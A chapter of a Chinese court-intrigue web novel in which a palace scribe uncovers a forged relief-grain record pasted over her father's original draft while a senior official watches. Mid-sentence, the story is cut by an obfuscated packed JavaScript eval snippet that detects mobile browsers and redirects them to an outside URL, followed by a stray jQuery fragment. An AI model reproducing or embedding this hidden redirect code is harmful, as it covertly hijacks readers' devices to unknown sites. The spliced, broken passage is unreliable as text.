午前时分，诰录署例行交卷尚未完毕，乔知遥却被唤至偏堂。
来人仍是谢瓒。
她未多言语，只将一纸简函递给乔知遥，道：“户礼两署调文交接，需查旧录配对，梁大人调你去走一趟。”
乔知遥接过，见封面题为“熙五年秋赈文调”，下方有一行小字：“对照原卷第一案库副藏本。”
“第一案库？”她略一迟疑。
那是宫中最早设档之处，藏有数十年旧文，其中部分已久不启用，属“封档外籍”，寻常誊写小吏几乎没有接触资格。
“你若不识路，自有人领。”谢瓒顿了顿，又道，“不过，进去之后，只能你一个人动卷。”
乔知遥微微颔首。
这已经不是第一次了。
从她调入诰录署起，便没有“真正协修”的日子——她每日誊写的卷，几乎无一是寻常调文，今日又将她单独派往第一案库，无非是又一次“看她看不看得懂”的试探。
可乔知遥已经不怕试了。
出了诰录署，天色已微落雪。天边如有雾气垂落，未飘未停，沾衣即融。
引路的小吏领她穿过两道偏阁，一路不语，至一座旧阁前才停下，道：“里面是户部旧礼案合编档，乔姑娘可慢翻，我在门外候着。”
那阁极静。
乔知遥推门而入，霎时只觉一股冷意从梁柱间渗来。案柜皆为老制，文木已显枯色。她步入其中，掌灯照明，四下只闻纸页摩挲声，仿若时光沉息。
案卷被归入“秋赈档·熙五年后批组”，编号整整齐齐，却在最底一组留下了微妙断层。
她蹲身查看，指尖略一用力，便从两卷之间抽出一册。
纸面已旧，页角却整，似是有人特意修过。
乔知遥抬手将其置于主案，缓缓翻开第一页。
“乔昶手拟初稿”几个字，赫然映入眼帘。
乔知遥心中一震。
父亲的名字，第一次，以“手拟”而非“批改”出现于调令案头。
这说明——此卷，并非只是他“被署名”的卷，而是他真正写过、动过的文字。
乔知遥收住呼吸，缓缓向下翻阅。几页之后，她终于在中页看见一张被裁角压页的文段。
那张纸，与周边纸张不同：纸色更新，且上下未裁齐——是一页后加之纸。
乔知遥小心拨开，看到下方果然有数字痕迹残存，隐约仍能辨出“秋后粮调三成未达”之句。
她心中陡然清明：这是一次调令“被补写”的伪盖。而真正乔昶所写之处，正在那页之下。
乔知遥指尖轻轻按住那张盖纸，未动。
——这页纸，她不急着翻，也不急着撕开。
乔知遥只是望着纸色交接之处，一动不动，像在听，听雪落阁外，又像是在等待一个无声的落笔。
她知道，若此刻有人站在廊外，顺着阁中灯影望进来，便能看到她——独自一人，立于纸山之中，眉目沉静，指落旧字，不言不动。
乔知遥不知道，有没有人真的在看。
她更不知道的是，在三丈之外的东墙偏檐下，真的站着一个人。
雪落在他肩上，未化。他未穿朝袍，仅着一身素玄束衣，手执卷页，目光却落在她所在的那间案阁方向。
来人正是顾之晏。
他一动不动，仿佛整个人都融入了这场无声的雪色之中，只是眼神极静，像是落在纸上，也像是落在乔知遥身上。
有旁人轻声靠近，在他身后停下半步，压低声音问：“她一个人进去多久了？”
顾之晏没有立刻回应，只静静站着。
对方又问：“需不需让人进去提醒她？那页，若是翻出来，怕她……”
“——不必。”
他终于开口，像一柄在雪中藏了很久的刀，出鞘时不带声响，却锋意不弱。
顾之晏没说理由。
可在那一瞬，他目光仍未移开阁中灯影。乔知遥的身影隐约映在纸柜之后，低头翻卷，指尖未离文页，整个人沉稳得像一块石碑。
顾之晏忽然想起三年前，也是这样的雪，春礼初拟，她随乔昶立于礼部长廊尽头。那时她年岁尚小，却能静立良久，只为在屏后远远看一眼案上的批笔。
她没说一句话，只目光灼灼。
而今日，她终于自己执笔、翻卷，独入旧档库中，无一人指引、亦无一人陪伴，却将那一纸伪补小心揭起，又落下注言。
顾之晏缓缓收回目光，像是将某段回忆轻轻扣上。片刻后，他才低声说了句：
“她是从雪里走来的。”
顾之晏站于案库外偏檐下，雪落肩头不动，目光始终未移。
谢瓒立在他身后一步处，闻言未作声，只微微偏头看了他一眼。
她本欲开口，却终究只道了一句：“那一页她已经翻到了。”
顾之晏似并不意外，甚至连眼神都未有起伏，只静静地看着阁内那道灯火中执卷的身影。
“你不打算进吗？”谢瓒问。
顾之晏道：“不必。”
“可她已经落笔。”谢瓒道。
顾之晏终于缓缓转眸，望了她一眼。
“那正说明，她知道自己在写什么。”他说。
谢瓒不再言语。
片刻后，谢瓒退了一步，自觉立于檐外。
——这是他们之间多年形成的分寸。
顾之晏若不开口，她便不会再问；而她若点破，他也不会否认。
阁中灯火微颤，乔知遥指尖下的那页伪纸仍未揭起，她只是缓慢地取出小刀，将纸角轻轻挑起，避开文字，剥离盖纸边缘。
原文一寸寸露出，那是极熟悉的笔锋——乔昶的书体，略带北调笔势，下笔起勾皆藏锋而后返，是她从小见惯的字，也是她已许久不敢再直视的字。
乔知遥盯着那一行未署之文良久，终于在下角发现了极淡的戳章痕，印已模糊，只留一轮银边痕迹。
是乔家的章。
——可这枚章，三年前已经被封存，不该再出现在任何案卷之上。
乔知遥吸了口气，将上下两页并排摊开。
上面那张纸是后加的，写的是：“银两已拨”；
下面那张是原稿，写的却是：“调拨未齐”。
她心里一沉：一纸之下，背后就是三成的赈银，有人能活，便有人会饿死。
乔知遥轻轻把上面那张“补文”收起，压到下面。她没有毁掉它，也没处理它——只是让真正那一页，露了出来。
笔蘸墨，未落字，却提笔良久，终于在那原文下方，轻轻写下：
“下段所引，似为乔尚书初拟，字迹存疑，原稿待考。”
乔知遥不署名，也不落身份。
只以“原稿待考”四字，将那一段几欲被压下的笔意，重新推回光中。
这已不是她第一次“识伪”，也不是第一次“留字”。
但这一次不同。
她第一次不只是为辨伪，而是为存真。
那一刻，她意识到，所谓誊写，不该只是跟随纸意走笔，而是去判断，哪些文字是应该被记住的，哪些，是该被看穿的。
纸虽轻，笔却有立场。
风过阁檐，门未关紧，吹得乔知遥肩上的发微微晃动。乔知遥未动，也未抬头，只缓缓将那页重新合卷，推入案下。
乔知遥站起身，回头望了一眼——门外无人。
她以为今日所有的观察与设局都已结束，却未曾想，那一双眼，始终立于她目光所及之外。
雪落帘边，静无声。
乔知遥出第一案库时，雪势已大了些。
原本只是细丝般的风霰，此刻竟密密扬扬洒落下来。未到酉时，宫路两侧的灰石地砖便已覆上一层白。
引路小吏早不见了踪影，她未寻，反而走得极慢。
这条回诰录署的路，乔知遥并不陌生，却是在这样的雪日里头一次独自行走。前几日所写之卷、所落之字、帘后之语与案上旧章，一桩桩沉于心中，冷不彻骨，却压得她一时无言。
她忽而记起年少时父亲教她练字时说过一句话——
“笔下所载，事也；所漏，亦是事也。你日后若记史，要记得：书上所留，未必为真，未记之事，却常是血。”
当时她听不懂，只以为父亲因职事郁懑，多思于纸上留白。
可如今乔知遥却忽然明白了。
她今早所翻之卷，若照例誊写，只会将那“银两已拨”定于档案，日后再无人知其真伪；而她今日那一笔“原稿待考”，或许就能让某人于他日再次翻案之时，知那页纸下，尚有他人落过的字。
乔知遥望着雪地里自己的足迹，一步步落在无人之巷。
——她忽然意识到，所谓“执笔为吏”，并不只是“听命于上”，而是“敢为所见落字”。
这不是她先前所认知的书写方式。这已然是，某种意义上的“介入”。
乔知遥自雪中归堂，将卷密封入简，按例放入今日誊修的交案架上。无人问她多写了哪一句，也无人知她今日调出的是哪一页卷。
但她知道，有人会看。
而此时，宫中某处，枢密内录之署，正有人翻着一页无落款的抄件副文，目光停在那一句“原稿待考”上。
那人沉默半晌，缓缓将纸收起。
一旁立着的，是顾之晏身边的属吏沈律，自顾之晏入枢以来便随案调录，言语极少，素来只记不评。
可今日他却罕见地开口，低声道：“顾大人，那字，是她落的？”
顾之晏未答，只在火盆前停了一瞬，道：“是。”
沈律又道：“她若再写下一笔呢？”
顾之晏指间一顿。
过了片刻，他语气平静，却如纸下暗印：
“若她落第二笔，我便不能不动了。”
说完，他将那张副文轻轻丢入火中。
纸卷焰起，“原稿待考”四字烧完，灰色翻卷如夜雪初动，未尽却隐入风中。
夜落时分，天色已深，雪仍未停。
乔知遥回屋后，将外衣覆在屏风边上挂干，复又点起灯，炉火渐旺，方才驱散一身微寒。
屋中仍如昨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721529|173658||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日，无多陈设，除案几之外，唯有一架旧书柜，留着她自实录馆调来的一部旧录本子。她习惯于夜深时再翻一遍白日誊写之文，有一半是为自验笔误，另一半——是为确认自己的字还在。
她取出今日所誊那一卷摊开。
纸页已干，墨色虽稳，尾页却多出一个“副注”贴角，是今日回卷后由诰录署外吏所附，写着：“所注之‘原稿待考’，已转梁大人亲审。”
乔知遥心口微滞，却未惊。
她知道，那四字若留存下来了，就一定会被看到；而若未留，则说明她从一开始就被过滤掉了。
如今“转梁主官亲审”明明白白写出，说明她的这一笔——已被纳入了真正的诰录之眼。
乔知遥盯着那句副注，许久不语。
过去她在实录馆时，不过是“协修小吏”，誊的再多，也不过是将别人的话转录一遍。她曾自信自己是忠于纸笔的人，字中无情、笔中无意。
可如今她越来越意识到，哪怕是一笔“似注非注”的尾注，也可能决定一段旧文能否存世。
若这便是“字中之权”，她写与不写，已不能再说与她无关。
乔知遥低头重新握笔，指节微凉，却将今日那页重新抄了一遍，抄至尾处，她却并未再落“原稿待考”四字，只空出三寸，轻轻一按，将笔停住。
——这一次，她什么都没写。
可那份空白，反倒比任何注脚都更有分量。
乔知遥起身收卷，正欲息灯，却发现案侧书箱中多出一卷未拆封简卷，朱封尚新，纸口缝得极紧，未留提字，只在一角印了“熙四·春拟·叁”。
她怔住。
这卷她未收过，也不在今日交接名册上。
乔知遥缓缓将其抽出，心中已隐约明了来路。
这是从梁主官的案上转下的“私卷”—— 没有派送人、没有明令，甚至没有主名——就像一张“只写给她看的纸”。
乔知遥未拆开。
只是将卷平放案前，灯火映得纸口泛起微黄之光。
风穿廊外，雪声未歇，她望着案上那一纸未拆的封卷，忽而意识到——
她已经从“翻旧案之人”，走到了“被选中试笔之人”。
次日清晨，诰录署比往日略静。
积雪未化，道路清寒，署中值录几人因风寒未到，案前空置近半。乔知遥照常入席，仍坐在偏西案边。她将昨日那封未拆的卷置于手中，未动，只等来人指示。
未过辰时，谢瓒从中堂步入，一身朝衣雪纹尚未抖净，足下无声，却径直朝她而来。
乔知遥起身行礼。
谢瓒未言，只将她案前那卷取过，翻转印章一看，唇角略动，似是确认无误。
“此卷昨夜自梁大人案边转来，”谢瓒淡淡道，“无主批、无首署，落款处空。”
乔知遥一怔，未答。
谢瓒却已将卷递回，语气不轻不重：
“落款，由你决定。”
短短一句，却如笔锋破纸——落款不是让她署名，而是让她写出最后的归属之意。
原本她无权触及的案卷，如今落笔却归她决定。
乔知遥接过那卷，指尖微沉。
这一刻她明白了——
她已不是那个只在边卷抄字、附注的抄写人，而是被允许决定一纸卷宗“定稿者是谁”的“执笔人”。
而这，正是权力的最初形式。
谢瓒望了她一眼，目光平静：
“写之前，想清楚。此卷写下去，便算你接了。”
乔知遥点头。
灯下微光照着她的侧脸，素衣浅色，神情极静，只有眼神里那一线雪光未散——像是自昨夜走来的残霜未化，又像是下一场风雪的前兆。
不远处，梁秉昭于内堂翻阅昨日交卷副录，目光扫过乔知遥所写“原稿待考”四字时，手指微顿。
他未语，只将卷搁回卷架。指尖在纸脊上一顿，似在定某种评判。
他低声自语，像是随手落句，又像是落在某个盘棋之上：“她落了第一笔。”
而更远处，顾之晏自枢密外廊而出，立于宫墙之侧。雪后初霁，宫道未扫，远处诰录署屋脊泛着微光。
沈律随在身侧，望了眼方向，低声道：“她昨日落笔落得太深，已有几家官署借题提问。”
顾之晏闻言，未即作声。
片刻，他才道：“她那笔不是冲着人去的。”
沈律微一沉吟，道：“那她是冲着什么？”
顾之晏目光未移，语气平静，像是陈述，又像是回应某个旧识之言：
“她是从雪里走来的。”
说罢，他望着诰录方向停了片刻，仿佛要将那道光下之人彻底收进目中。
手中半卷纸，轻轻一合。
顾之晏转身入廊，脚步极稳，像是一子落定，不再回头。
风拂衣角，雪光折檐。
一笔落下，诰录记人。
一子已行，中枢入局。
雪未停，灯未熄。
那道身影，还在廊灯之后，却已然入了棋心。